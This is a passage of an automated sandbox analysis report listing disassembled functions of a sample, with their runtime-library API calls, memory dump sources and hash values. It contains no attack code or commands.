Part of subcall function 008B4EB1: SetLastError.KERNEL32(00000000,008CC480,00000024,008B0419), ref: 008B4F57

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,008BC6B4,00000000,00000000,?), ref: 008BC946

Memory Dump Source

Source File: 00000000.00000002.2339904217.00000000008A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2339838358.00000000008A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339949039.00000000008C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340016374.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340100855.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340130007.000000000091C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_NdSXVNeoET.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 88d1815000b37fd3b103686aac9945dea71efad142c2a80dd0c3bd2174d2582d
Instruction ID: 74b33769f8bb69308afb674fdbbef8e61e95f1dd6d1715d7df4e8e0c75e77318
Opcode Fuzzy Hash: 88d1815000b37fd3b103686aac9945dea71efad142c2a80dd0c3bd2174d2582d
Instruction Fuzzy Hash: 08F0A933500515BBEB2457658845BFA7F68FB40B94F154429ED46E3380DA74FE42C5D0

Function 008BC40D Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 008B4EB1: GetLastError.KERNEL32(?,00000008,008B9482), ref: 008B4EB5
Part of subcall function 008B4EB1: SetLastError.KERNEL32(00000000,008CC480,00000024,008B0419), ref: 008B4F57

EnumSystemLocalesW.KERNEL32(008BC6EB,00000001,?,?,-00000050,?,008BCA8D,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 008BC457

Memory Dump Source

Source File: 00000000.00000002.2339904217.00000000008A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2339838358.00000000008A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339949039.00000000008C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340016374.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340100855.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340130007.000000000091C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_NdSXVNeoET.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 0580c23d4d91dd358ba79e7c120f3f3afb860245385a5771bf7aaab09d990d8b
Instruction ID: 1f6662691d493c9e2ede595534b618bf2a48be1a8bb24a26b398a2aecaebbce9
Opcode Fuzzy Hash: 0580c23d4d91dd358ba79e7c120f3f3afb860245385a5771bf7aaab09d990d8b
Instruction Fuzzy Hash: 1BF046323003045FDB145F38DC91ABA7B90FF80768F04802CF946CB780C6719D02C604

Function 008B5D7F Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 008ADDC1: EnterCriticalSection.KERNEL32(?,?,008B4B89,?,008CC2E0,00000008,008B4D4D,?,008AC446,?), ref: 008ADDD0

EnumSystemLocalesW.KERNEL32(008B5D72,00000001,008CC3A0,0000000C,008B6127,00000000), ref: 008B5DB7

Memory Dump Source

Source File: 00000000.00000002.2339904217.00000000008A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2339838358.00000000008A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339949039.00000000008C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340016374.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340100855.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340130007.000000000091C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_NdSXVNeoET.jbxd

Yara matches

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 0d6696185a180734806d07aaff52261ad8c5f57652b63e16c487c1bbef5aaa89
Instruction ID: 0df6d16cebe11517ee0a5dae2e786ec85e7d11a4548162373fcd6d33928200d8
Opcode Fuzzy Hash: 0d6696185a180734806d07aaff52261ad8c5f57652b63e16c487c1bbef5aaa89
Instruction Fuzzy Hash: CFF03772A04704EFE700EFA8E842B997BB0FB45721F20812AE515DB3A1D7B95A41CB81

Function 008BC327 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 008B4EB1: GetLastError.KERNEL32(?,00000008,008B9482), ref: 008B4EB5
Part of subcall function 008B4EB1: SetLastError.KERNEL32(00000000,008CC480,00000024,008B0419), ref: 008B4F57

EnumSystemLocalesW.KERNEL32(008BC280,00000001,?,?,?,008BCAEB,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 008BC35E

Memory Dump Source

Source File: 00000000.00000002.2339904217.00000000008A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2339838358.00000000008A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339949039.00000000008C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340016374.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340100855.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340130007.000000000091C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_NdSXVNeoET.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 7a892c0de51805b91806252ce149a05eebeb9344e2c2ea7f463c078babf67b54
Instruction ID: 291cea8800eed408fe7641e41dee84aedff9ab39b014dc55909504f2d30ccb71
Opcode Fuzzy Hash: 7a892c0de51805b91806252ce149a05eebeb9344e2c2ea7f463c078babf67b54
Instruction Fuzzy Hash: 95F0E53630020557CB149F79D845AAABFE4FFC1B60B468058EA09CB791C6759946C790

Function 008B622B Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,008B23AE,?,20001004,00000000,00000002,?,?,008B19B0), ref: 008B625F

Memory Dump Source

Source File: 00000000.00000002.2339904217.00000000008A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2339838358.00000000008A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339949039.00000000008C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340016374.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340100855.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340130007.000000000091C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_NdSXVNeoET.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 006882b6ba421fb24cce54616d369786dca8713cfffb57c3599f23815d0213b5
Instruction ID: 918a2629d86822d674624fb9ef8aca5307f8695ccfe7fa396fe5ea8dfd53dd5d
Opcode Fuzzy Hash: 006882b6ba421fb24cce54616d369786dca8713cfffb57c3599f23815d0213b5
Instruction Fuzzy Hash: D4E01A32500628BBDF122F60DC09EEE7A2AFF44760F048011F905A5221EB768A35AA91

Function 008A7AAF Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00007ABB,008A6DC9), ref: 008A7AB4

Memory Dump Source

Source File: 00000000.00000002.2339904217.00000000008A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2339838358.00000000008A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339949039.00000000008C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340016374.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340100855.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340130007.000000000091C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_NdSXVNeoET.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 11eb7ad8423dece4f86ff717cb291aa9aac01c61a416c3a160c1629957a9b1fe
Instruction ID: afad4c2fd981276a7b2e03e5fd32e3582a64115d51e87f5463235f9570a4123c
Opcode Fuzzy Hash: 11eb7ad8423dece4f86ff717cb291aa9aac01c61a416c3a160c1629957a9b1fe
Instruction Fuzzy Hash:

Function 008A1D79 Relevance: 1.4, Strings: 1, Instructions: 156COMMON

Download Yara Rule

Strings

Z81xbyuAua, xrefs: 008A1E9B

Memory Dump Source

Source File: 00000000.00000002.2339904217.00000000008A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2339838358.00000000008A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339949039.00000000008C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340016374.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340100855.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340130007.000000000091C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_NdSXVNeoET.jbxd

Yara matches

Similarity

API ID:
String ID: Z81xbyuAua
API String ID: 0-3121583705
Opcode ID: 94682e405590dbc454e8b8be1cef2934bf0a926661f520b0b172446d709c653b
Instruction ID: 6792440d27d92157729ec06ded2c59290584301366aed13e04a5b66c465077b3
Opcode Fuzzy Hash: 94682e405590dbc454e8b8be1cef2934bf0a926661f520b0b172446d709c653b
Instruction Fuzzy Hash: AC410A76E2052B5BDF4CEEB8885A1ABBB69F746320F04427ADD11DB7D1E2348A11C6D0

Function 008BCC4B Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 008BCC4B

Memory Dump Source

Source File: 00000000.00000002.2339904217.00000000008A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2339838358.00000000008A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339949039.00000000008C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340016374.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340100855.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340130007.000000000091C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_NdSXVNeoET.jbxd

Yara matches

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: e3e149d39cc6cdb03fb4e4bf7405f61d5ca8e4d96b7105ca66971fd11fce99ce
Instruction ID: b9a76e4d502f8e273f401f1a578ea268e70bd016caa643c3e20c0a5face55299
Opcode Fuzzy Hash: e3e149d39cc6cdb03fb4e4bf7405f61d5ca8e4d96b7105ca66971fd11fce99ce
Instruction Fuzzy Hash: F0A011302022008F83008F38AE0AA8C3AFAAA08280308C0AAA000C0220EB308082AA00

Function 008BBB36 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2339904217.00000000008A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2339838358.00000000008A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339949039.00000000008C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340016374.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340100855.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340130007.000000000091C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_NdSXVNeoET.jbxd

Yara matches

Similarity

API ID: ErrorLastProcess$CurrentFeatureInfoLocalePresentProcessorTerminate
String ID:
API String ID: 3471368781-0
Opcode ID: ec252989354eaf253d40dd1c05bab635feca881aaa5b3b4a3aaf9b487236a68a
Instruction ID: 03bcb37901eea54c1749d48ddd8085e58a12518c738dee18905043bdc9f64671
Opcode Fuzzy Hash: ec252989354eaf253d40dd1c05bab635feca881aaa5b3b4a3aaf9b487236a68a
Instruction Fuzzy Hash: 55B1E5355007458BDB389B29CC92AF7B3A8FF54308F58452DEA87C6790EBB5E985CB10

Function 008BA64C Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2339904217.00000000008A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2339838358.00000000008A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339949039.00000000008C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340016374.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340100855.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340130007.000000000091C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_NdSXVNeoET.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d30a52f00f890bd01d6e84b1357bca7669443c8ff688bb46904ed1c21e63159d
Instruction ID: 2d8d8542bd65ed92159a9f86ca3fdc14853bd34b9f8ded0636527a93052a5205
Opcode Fuzzy Hash: d30a52f00f890bd01d6e84b1357bca7669443c8ff688bb46904ed1c21e63159d
Instruction Fuzzy Hash: 09E08CB2921238EBCB19DB9CC90498AF7ECFB45B00B150496B911E3210C270DE00C7D1

Function 008E6628 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2339838358.00000000008A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339904217.00000000008A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339949039.00000000008C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340016374.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340100855.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340130007.000000000091C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_NdSXVNeoET.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 008A2003 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2339904217.00000000008A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2339838358.00000000008A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339949039.00000000008C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340016374.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340100855.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340130007.000000000091C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_NdSXVNeoET.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 240a437d104658ce1f95cdcaba3e8bd836871e73d6e872b6e2d269ff3d87f140
Instruction ID: 7152daf1cd8d16ba86ec460aa35173ddc1a802b5917fd35ea09e52fe7b06fde7
Opcode Fuzzy Hash: 240a437d104658ce1f95cdcaba3e8bd836871e73d6e872b6e2d269ff3d87f140
Instruction Fuzzy Hash: 6BD0953A605A149FC221CF0AE840981F7B9FB9D630B1681A6E904A3B20C330FC02CAE0

Function 008B0F2E Relevance: .0, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2339904217.00000000008A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2339838358.00000000008A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339949039.00000000008C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340016374.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340100855.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340130007.000000000091C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_NdSXVNeoET.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f509db719341cefea6c6c824f556d87c4149af31b656ab04d21882e9f704e7b0
Instruction ID: 1cf0e6b1ec69f4cb4b04a0322eacc0393890e270e8f07140b89ea466109c42a3
Opcode Fuzzy Hash: f509db719341cefea6c6c824f556d87c4149af31b656ab04d21882e9f704e7b0
Instruction Fuzzy Hash: BFC08C7420090186DE39891482713FA3355F7B3B82F8404CCDC1A8F782CE1E9C82DE02

Function 008AA5C8 Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 303
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

type_info::operator==.LIBVCRUNTIME ref: 008AA6E7
___TypeMatch.LIBVCRUNTIME ref: 008AA7F5
CallUnexpected.LIBVCRUNTIME ref: 008AA962

Strings

csm, xrefs: 008AA71E
csm, xrefs: 008AA672
csm, xrefs: 008AA605

Memory Dump Source

Source File: 00000000.00000002.2339904217.00000000008A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2339838358.00000000008A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339949039.00000000008C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340016374.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340100855.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340130007.000000000091C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_NdSXVNeoET.jbxd

Yara matches

Similarity

API ID: CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 1206542248-393685449
Opcode ID: b8956cab2ad82d7860b1852766ba43571225d3be002e2f6581a453f4384b2318
Instruction ID: 25a44eedd69e0f0e8d5d44cb141cb56a9bccf6da9c6d2c85d50e15529cccead5
Opcode Fuzzy Hash: b8956cab2ad82d7860b1852766ba43571225d3be002e2f6581a453f4384b2318
Instruction Fuzzy Hash: 69B15871800209EFEF19DFA8C8819AEBBB5FF16310B144169E811ABE12D735DA51CB93

Function 008B5F4A Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,F8250000,?,70E0D3A3,?,008B6057,008AC446,?,F8250000,00000000), ref: 008B600B

Strings

api-ms-, xrefs: 008B5FA1
ext-ms-, xrefs: 008B5FB5

Memory Dump Source

Source File: 00000000.00000002.2339904217.00000000008A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2339838358.00000000008A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339949039.00000000008C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340016374.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340100855.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340130007.000000000091C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_NdSXVNeoET.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 9bfd7fdb7867912cb0c49070a4d5d41f899a07be18895402b5e71235d9993d7e
Instruction ID: 44a1ce1268a32daeecd191c8d52948ef37f4fa944297d688ce02231f70183dd0
Opcode Fuzzy Hash: 9bfd7fdb7867912cb0c49070a4d5d41f899a07be18895402b5e71235d9993d7e
Instruction Fuzzy Hash: 78219672A01A14A7C7319B65AC44FEEB768FB45764B254124F916FB3D0EB30EE01D6A0

Function 008BF356 Relevance: 9.3, APIs: 6, Instructions: 298
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2339904217.00000000008A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2339838358.00000000008A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339949039.00000000008C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340016374.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340100855.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340130007.000000000091C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_NdSXVNeoET.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 850011eb7f9cc2599d0904229d01b2851144e74ca0ee329df761469ae04c7d2a
Instruction ID: 43a19f827ec812036d5647c7dee2469643f327e62f91e93cb9dcd93bedc8b7c3
Opcode Fuzzy Hash: 850011eb7f9cc2599d0904229d01b2851144e74ca0ee329df761469ae04c7d2a
Instruction Fuzzy Hash: F3B1AE74A042499FDB11DFA8DC80BED7BB1FF56304F148169EA11DB3A2C7719942CB61

Function 008A53B1 Relevance: 9.1, APIs: 6, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 008A53B8
std::_Lockit::_Lockit.LIBCPMT ref: 008A53C2
int.LIBCPMT ref: 008A53D9

Part of subcall function 008A16B4: std::_Lockit::_Lockit.LIBCPMT ref: 008A16C5
Part of subcall function 008A16B4: std::_Lockit::~_Lockit.LIBCPMT ref: 008A16DF

std::_Facet_Register.LIBCPMT ref: 008A5413
std::_Lockit::~_Lockit.LIBCPMT ref: 008A5433
Concurrency::cancel_current_task.LIBCPMT ref: 008A5440

Memory Dump Source

Source File: 00000000.00000002.2339904217.00000000008A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2339838358.00000000008A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339949039.00000000008C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340016374.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340100855.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340130007.000000000091C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_NdSXVNeoET.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3Register
String ID:
API String ID: 55977855-0
Opcode ID: 85cdfffaf65a8a0ce7cea13712a0cc88465de7ee9ee661e283a4fb112eb1e505
Instruction ID: 5a40bd9390c0406711180288cfb5692b6f45426c6e6ad77a0dcd3ff939429185
Opcode Fuzzy Hash: 85cdfffaf65a8a0ce7cea13712a0cc88465de7ee9ee661e283a4fb112eb1e505
Instruction Fuzzy Hash: 8E11E4719106189BEB10EB68D8057AE77F5FF9A320F14450DF401E7A91DFB4AE45CB82

Function 008AA25A Relevance: 9.1, APIs: 6, Instructions: 60
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(?,?,008AA251,008A8978,008A7AFF), ref: 008AA268
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 008AA276
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 008AA28F
SetLastError.KERNEL32(00000000,008AA251,008A8978,008A7AFF), ref: 008AA2E1

Memory Dump Source

Source File: 00000000.00000002.2339904217.00000000008A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2339838358.00000000008A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339949039.00000000008C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340016374.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340100855.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340130007.000000000091C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_NdSXVNeoET.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 93621bca98badebfc9d0c1e72a651609e561cfb7514a4665ae64e8670ff7e586
Instruction ID: 1dab9c4ec874b41c149791df0da22615b5a25157055e574f57b1dd69f5e33b29
Opcode Fuzzy Hash: 93621bca98badebfc9d0c1e72a651609e561cfb7514a4665ae64e8670ff7e586
Instruction Fuzzy Hash: 9401B13220DB116EB628277CBC86B662B65FB07774B200239F510D1CE2EF624C12D64A

Function 008B0F50 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

